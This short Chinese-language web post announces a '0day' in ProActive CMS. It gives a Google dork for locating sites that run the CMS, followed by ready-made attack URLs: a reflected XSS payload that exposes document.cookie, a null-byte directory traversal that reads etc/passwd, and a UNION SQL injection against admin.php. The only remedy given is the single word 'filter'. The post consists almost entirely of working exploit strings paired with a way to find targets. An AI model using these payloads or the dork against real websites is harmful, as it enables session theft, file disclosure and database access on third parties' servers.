国外0day:ProActive CMS多个漏洞 - 网站安全 - 自学p

Google Dork: intext:"Powered by Proactive CMS"

XSS http:// www.2cto.com /index.php?action=search&q=1</title>1<script >alert(document.cookie)</script>  

目录遍历： http:// www.2cto.com /lavate/cute.old/Dialogs/Tag.Frame.php?setting=&Style=etc/passwd%00.jpg&Tab=Style&Tag=&Theme=&UC=

SQL注入: http:// www.2cto.com /admin.php?action=helpSWF&id=1/**/union/**/select/**/1,@@version,3,4/*

修复： 过滤

查看更多关于国外0day:ProActive CMS多个漏洞 - 网站安全 - 自学p的详细内容...